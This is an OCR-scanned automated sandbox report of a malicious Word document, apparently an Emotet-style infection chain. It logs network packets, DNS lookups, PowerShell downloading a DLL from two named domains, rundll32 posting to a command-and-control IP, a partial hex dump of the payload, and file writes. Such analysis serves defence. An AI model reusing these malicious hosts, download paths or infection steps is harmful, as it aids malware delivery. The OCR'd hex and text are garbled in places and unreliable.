Jan 26, 2021 13:48:36.917046070 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:36.917222023 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:36.917365074 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.052814007 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.120006084 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.120270967 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.120342970 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.120913029 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.121715069 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.121769905 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.201613903 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.201947927 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.202014923 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.202394962 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.202956915 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.203016996 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.269664049 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.269866943 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.270140886 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.270145893 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.270416021 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.270473003 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.328192949 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.328227043 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.328238964 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.328454018 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.392601967 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.393017054 CET 80 49168 107.180.12.39 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 26, 2021 13:48:37.393146992 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.393656015 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.394280910 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.394357920 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.489326000 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.489779949 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.489869118 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.490546942 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.491063118 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.491121054 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.597269058 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.597781897 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.597923040 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.598275900 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.598890066 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.598963976 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.721821070 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.722333908 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.722460032 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.723119020 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.723689079 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.723754883 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.792987108 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.793520927 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.793610096 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.794183969 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.794836044 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.794904947 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.839512110 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.839840889 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.840003014 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.840342045 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.840755939 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.840822935 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.890820026 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.891087055 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.891252041 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.891608953 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.892205954 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.892316103 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.931469917 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.931885958 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.931997061 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.932499886 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.933084011 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.933161020 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.974478960 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.974921942 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.975033998 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:37.975481033 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.976170063 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:37.976250887 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:38.031054974 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.031522989 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.031589031 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:38.032054901 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.032582998 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.032630920 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:38.077044964 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.077486992 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.077609062 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:38.077958107 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.078481913 CET 80 49168 107.180.12.39 192.168.2.22
Jan 26, 2021 13:48:38.078558922 CET 49168 80 192.168.2.22 107.180.12.39
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UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 26, 2021 13:48:34.802895069 CET 52197 53 192.168.2.22 8.8.8.8

Jan 26, 2021 13:48:34.871607065 CET 53 52197 8.8.8.8 192.168.2.22

Jan 26, 2021 13:48:36.703888893 CET 53099 53 192.168.2.22 8.8.8.8

Jan 26, 2021 13:48:36.761370897 CET 53 53099 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 26, 2021 13:48:34.802895069 CET 192.168.2.22 8.8.8.8 Oxcécece Standard query  zenithcamp A (IP address) IN (0x0001)
(0) us.com

Jan 26, 2021 13:48:36.703888893 CET 192.168.2.22 8.8.8.8 Oxbdfc Standard query  localaffor A (IP address) IN (0x0001)
(0) dableroofer.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 26, 2021 8.8.8.8 192.168.2.22 Oxcécece No error (0) zenithcamp 35.200.206.198 A (IP address) IN (0x0001)

13:48:34.871607065 us.com

CET

Jan 26, 2021 8.8.8.8 192.168.2.22 Oxbdfc No error (0) localaffor 107.180.12.39 A (IP address) IN (0x0001)

13:48:36.761370897 dableroofer.com

CET

HTTP Request Dependency Graph

e zenithcampus.com

e |ocalaffordableroofer.com

e 167.71.148.58
e 167.71.148.58:443

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49167 35.200.206.198 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 26, 2021 0 ouT GET /llyQ/ HTTP/1.1
13:48:35.139708996 CET Host: zenithcampus.com
Connection: Keep-Alive
Jan 26, 2021 0 IN HTTP/1.1 404 Not Found
13:48:36.680448055 CET Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 26 Jan 2021 12:48:36 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-transform, no-cache, no-store, must-revalidate
Link: <https://zenithcampus.com/wp-json/>; rel="https://api.w.org/"
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.22 49168 107.180.12.39 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 26, 2021 1 ouT GET /ralphs-receipt-f2uhf/qTT5DC/ HTTP/1.1
13:48:36.917365074 CET Host: localaffordableroofer.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

Jan 26, 2021 2
13:48:37.120006084 CET

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Jan 26, 2021 296

13:50:01.704492092 CET

Copyright null 2021

Direction

IN

Source Port

49172

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Tue, 26 Jan 2021 12:48:36 GMT

Server: Apache

X-Powered-By: PHP/7.3.23

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Tue, 26 Jan 2021 12:48:36 GMT

Content-Disposition: attachment; filename="xSgpFNtuu.dIl"

Content-Transfer-Encoding: binary

Set-Cookie: 60100fa4f16a1=1611665316; expires=Tue, 26-Jan-2021 12:49:36 GMT; Max-Age=60; path=/

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Last-Modified: Tue, 26 Jan 2021 12:48:36 GMT

Vary: Accept-Encoding,User-Agent

Keep-Alive: timeout=5

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 34 30 30 30 0d 0Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 c1 e8 7b f2 a0 86 28 f2 a0 86 28 f2 a0 86 28 6¢ 00 41 28 {3
a0 86 28 ff f2 59 28 e8 a0 86 28 ff f2 67 28 b0 a0 86 28 ff f2 66 28 4c a0 86 28 2f 5f 4d 28 {7 a0 86 28 f2 a0 87 28 92 a0 86
28 8f d9 67 28 f1 a0 86 28 8f d9 5a 28 f3 a0 86 28 ff f2 5d 28 f3 a0 86 28 f2 a0 11 28 f3 a0 86 28 8f d9 58 28 3 a0 86 28 52
69 63 68 f2 a0 86 28 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 78 2f e2 5f 00 00 00 00 00 00 00 00 €0 00 02 21 Ob
01 Oc 00 00 b2 01 00 00 ba 02 00 00 00 00 00 78 8e 00 00 00 10 00 00 00 dO 01 00 00 00 00 10 00 10 00 00 00 02 00 00
06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 04 00 00 00 00 00 00 03 00 00 01 00 00 10 00 00 10 00
00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 4e 02 00 52 00 00 00 ¢4 4e 02 00 3c 00 00 00 00 a0 02 00 20 d6
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 04 00 78 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 38 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 dO 01 00
48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7b b0 01
00 00 10 00 00 00 b2 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 Oa 86
00 00 00 dO 01 00 00 88 00 00 00 b6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ac
3c 00 00 00 60 02 00 00 1c 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00
20 d6 01 00 00 a0 02 00 00 d8 01 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00
00 78 1a 00 00 00 80 04 00 00 1c 00 00 00 32 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 4000MZ@!L!This program cannot be run in DOS mode.${(((IA((Y((9((FL/_M(((a((Z(A((((X((Rich(PELx
/_'XpNRN< x8@H.text{ ".rdata@@.data<">@.rsrc Z@@.relocx2@B

Destination IP Destination Port Process

167.71.148.58 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /um49al9zetvylg5wmnt/twmd2I9pj/Ok Liudym/ag1m0i31pvl6lis/m8khm/21gx1r3imxejnl/ HTTP/1.1

DNT: 0

Referer: 167.71.148.58/um49al9zetvy1g5wmnt/twmd2[9pj/Okliudym/ag1mOi31pvi6lis/m8khm/21gx1r3Imxejnl/
Content-Type: multipart/form-data; boundary=----------------------- z2vqH5ZpSVZ{tRI6dB758VD

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 167.71.148.58:443

Content-Length: 5908

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 26, 2021

kBytes
transferred Direction

304 IN

13:50:02.496376038 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 26 Jan 2021 12:50:02 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 37 64 34 0d 0a 95 b8 22 bf 79 50 d2 d8 9d 39 e0 cf 06 07 31 6¢ 91 7d 90 6f 81 50 7b 35 e6 3c 42 b2 29 10 03
el 16 cf 24 1c b8 82 6e 58 ef bc Oc 03 05 07 1d 53 e0 7e 8b fe f8 44 56 68 d3 5f 6a 2a ff 56 73 38 dc f3 1d aa 6e 44 4b e6
7f 0f b9 fa 52 Ob 14 3c 92 b2 d0 27 a5 35 33 32 e2 fa 6d 4c c2 6e 68 c7 3c 06 94 b9 58 5f 9f cc 2a 98 b5 71 97 a4 c8 cc 90
2153 e2 a0 ca31382c3eed19cO3274a3d8f8 1bff a3 48 b6 fO 28 e3 27 54 67 ea 41 43 6b 5f c2 10 a7 f1 de 83 65 fe
148 73 7e f4 47 a8 dc 91 58 4b 26 41 1e 84 a0 06 7e b2 d2 fd cO 7b 30 02 84 2e 62 db b4 53 Ob bd ce 99 d3 9e 97 dd a0
9a dd ee bd f3 f7 22 c6 e7 12 61 34 83 69 b8 5f c8 2d 16 8f 71 70 18 74 f6 e7 5a c6 fa a8 47 79 6e 29 0d Of a0 31 49 5b 1a
c9 73 ff fc 2c 42 99 e3 fb 96 07 58 83 c0 5e ea d3 70 8c ab 18 c0 e0 c8 75 c4 a0 e8 63 13 91 Oe 4e 2b 97 ad 84 f1 6¢ 87
3a f5 85 da e8 9d d9 2a 4c Ob b1 15 af 15 42 1b 31 36 6d 7d 82 97 fb 26 83 23 5e 01 e6 41 88 d7 ce b2 3f d3 47 24 8c 6¢
98 68 17 4f 8d c5 Ob 5b 71 90 f7 7c a6 38 cc 77 52 c3 78 fc 24 93 1c 1f ea 06 6¢ 5a ed 88 fc cf a0 2d 48 c7 62 6¢ da 45 16
3e ca bl ff Oc 7a 4b ce cf 37 01 3¢ 94 bc 9a 23 ce 5¢ 0f 33 e2 05 5d f0 1f 8b 51 al fc 7b bd 5¢ 49 90 ac 4a 59 e5 59 d5 25
c0 ff 73 ¢5 9a e3 c0 c0 fb 60 31 39 d1 2c 48 19 bd ed 58 41 57 16 82 c5 e7 22 57 10 e7 96 €9 13 ee 2f f6 25 e0 07 31 64
b7 b3 35 bd c0 81 57 33 34 45 1c ce a2 57 9b 4c 21 d2 bd 61 a6 cc 65 be 77 1c 34 f4 30 3b f2 dO 67 ec 57 c3 14 6¢c €0 af
db Of 44 e5 13 62 ae 9c 16 77 e2 Ob 0f 93 6a 5a d3 6f 49 30 c0 1e fc 14 3a al 65 02 1a 75 9f 82 be d1 66 Ob d0 44 73 66
26 ea 21 9a 4a 3b a9 8a 0d e0 b7 54 40 26 b4 ff 88 8¢ 69 ae a8 de 91 b4 76 89 b2 bf a2 82 b5 c4 bd 87 33 e4 de 98 62 52
52 16 2e 90 ba ed 18 e9 f3 7a 09 da d0 ed d6 4a ab d6 60 91 Oe 36 7 49 Oc ce 1f dd cd 05 84 b5 86 8d 9c 08 71 b7 8f 78
f9 7b 19 aa Ob 4b 68 a9 8b 05 34 50 2e le c1 7a 19 09 d6 78 39 5 cO ef 15 ad 85 e8 26 23 1c df a2 26 a0 bb 48 72 5a 34
e4 9c ad 9b b4 2d 4f 22 bf e9 63 33 72 ae 82 63 c3 b7 16 1d c9 6f 9e 10 5d 6a 28 b5 ee 4c 3b cb cc 84 56 d3 09 al {7 95
88 30 af 36 ab 2f b2 38 27 19 d1 e2 92 bc 50 c3 7e 74 5e e5 5a bf da 47 6d 91 34 54 86 5a 8f f2 ca 47 93 ec Oe 06 3e 64
ac 81 40 27 ad 4f dc ca db 07 a8 f4 58 e7 5 b3 58 65 11 5d 57 53 3a 3d 50 f7 62 d8 72 ea af 55 8c cd f7 39 00 b7 al 7a 15
41 e0 39 93 0f fd 49 45 0f c3 46 88 47 9b 78 fc b6 34 54 43 9c 8b 95 5¢ 72 87 70 2a 51 8f 45 8e a3 3e 78 05 33 10 20 a5 6
4 4e bl b4 1c 4d 3d 08 b6 fa 71 26 17 c6 9d de 46 le df 28 91 d5 67 73 ed 20 29 bf 88 f9 71 71 d7 5a aa 07 28 Oc Oa f3 ea
f4 el fe 05 1a 48 e2 ec 12 e9 Oe 42 f9 b7 63 74 91 29 ae 3f 7a 1f 8f ac 15 4b 5f 44 51 ab 38 1d b5 91 cd 43 08 70 df a0 89
36 11 10 bl aa eb c¢3 45 36 f1 51 d3 77 11 e4 fd 34 bf 09 23 30 ca 6e 46 e4 a5 52 fd 0d 69 b8 7a ab a9 39 99 4a 09 b9 93
le f2 f0 c0 9a 62 dd 3c bd 89 4c b1 87 f5 2d ¢8 13 ed db b7 37 33 9a 3b f9 b0 26 36 b5 d9 f2 a5 57 0f 51 36 47 93 9a 1c 2¢
8 50 9f 1a d0 6f 3b a9 7c 3b a7 71 35 89 91 61 bd 4c 45 a4 9a e7 7c 19 70 50 b8 f0 47 9a 91 bd e5 b1 c9 1f fb fa 0Oa 10 cO
31 c0 07 5f db f7 5e e4 ae d3 72 32 80 34 2e 35 3b 7 ea 9e f2 8f 3a 8e 29 07 88 79 23 67 95 5c¢ f6 a6 dO ec 56 e5 13 53 5f
8f 4f f5 5e 0d 96 58 6b ff 2e 93 98 0d db bb c2 be 66 57 5b Oe 3a 13 cf d2 8a 19 5a f2 e8 99 a4 88 fa f1 00 c6 d7 c4 88 07
61 1d 20 1e 95 ce 7c 8f ee 50 ce 30 e5 68 27 ff c8 49 b7 79 d5 8c 4e 76 3a 6b 21 el c3 88 02 ea e0 24 e5 52 a8 be b0 b4
92 6d 30 98 ad 87 c0 92 2a al d9 b3 82 95 30 4d f1 09 10 fa c8 9f 76

Data Ascii: 7d4"yP91I}oP{5<B)$nXS~DVh_j*Vs8nDKR<'532mLnh<X_*q!S18,>2tH('TgJACk_eHs~GXK&A~{0.bS"adi_-q
ptZGyn)1l[s,BX"pucN+l:*LB16m}&#"A?G$lhO[q|8WRx$IZ-HbIE>ZK7<#\3]Q{\IJYY%s 19, HXAW"W/%I1d5W34EWL laew40;
gWIDbw;jZol0:eufDsf&!J; T@&iv3bRR.zJ 61gx{Kh4P.zx9&#&HrZ4-0"c3rco]j(L;VO6/8'P~t"ZGm4TZG>d@'OXXe]WS:=Pb
rU9zA9IEFGX4TC\rp*QE>x3 dNM=g&F(gs )qqZ(HBct)?zK_DQ8Cp6E6QwA#0nFRiz9Jb<L-73;&6WQ6G,Po;|;q5
aLE|pPG1_"r24.5;:)y#g\VS_O"Xk.fW[:Za |POh'lyNv:k!$RmO*OMv

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundl32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 1820 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

13:47:41

26/01/2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
0x13fa90000

1424032 bytes

95C38D04597050285A18F66039EDB456

true

true

C, C++ or other language

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DFBDF1E61E6A323FES.TMP read attributes | device synchronous io  success or wait 1 7FEE94C3241 unknown
delete | syn non alert | non
chronize | directory file |
generic read | delete on close
generic write
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE95226B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd read attributes | device synchronous io  success or wait 1 7FEE94CFDDC unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\Users\user\Application Data\Microsoft\Forms read data or list device directory file | success or wait 1 7FEE9455A04 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\Application Data\Microsoft\Forms\WINWORD.box read attributes | device synchronous io  success or wait 1 7FEE9455A04 unknown
synchronize | non alert | non
generic read | directory file
generic write
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Roaming\Microsoft\Forms\WINWORD.box success or wait 1 7FEE9455A04 unknown
C:\Users\user\AppData\Local\Temp\~DF9BEFD351019D9747.TMP success or wait 1 7FEE9449ACO0 unknown
C:\Users\user\AppData\Local\Temp\~DF08CBBC467EF41F24. TMP success or wait 1 7FEE94E5E7B unknown
Source
Old File Path New File Path Completion Count Address Symbol
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEE94CFDDC unknown
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEE94CFDDC unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 09 04 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 51 00 Q. success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 . success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 02 00 . success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 . success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 06 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 91 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE94CFDDC unknown

7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown b3 02 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 0d 23 00 00 .. success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 00 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2400 00 00 $... success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown ff ff ff ff success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 20 00 00 00 success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 80 00 00 00 success or wait 7FEE94CFDDC unknown

0d 00 00 00 success or wait 7FEE94CFDDC unknown

4
4
2
2
2
2
4
4
4
4

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 success or wait
4
4
4
4
4
4
4
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4
4

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown bc 00 00 00 success or wait 7FEE94CFDDC unknown

P PR R R R R R R R R R R R R R R R R R R

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 580 00 00 00 00 64 00 00 ..
00 ¢8 00 00 00 2c 01
0000900100004 ...@.
01 00 0058 0200 Q0 ...... n
bc 02 00 00 20 03 00
00 84 03 00 00 €8 03
00 00 4c 04 00 00 b0
04 00 00 14 05 00 00
78 05 00 00 dc 05 00 p...
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 dO 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0a 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 Oc 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011 00 0094 11
00 00 f8 11 00 00 5¢
12 00 00 c0 12 00 00
241300 00 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 15 00 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

success or wait 7FEE94CFDDC unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff a4 38 00 00 ff ..... 8 success or wait 1 7FEE94CFDDC unknown
ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00  ......cocceeeee success or wait 1 7FEE94CFDDC unknown
do 08 00 00 0f 00 00
00

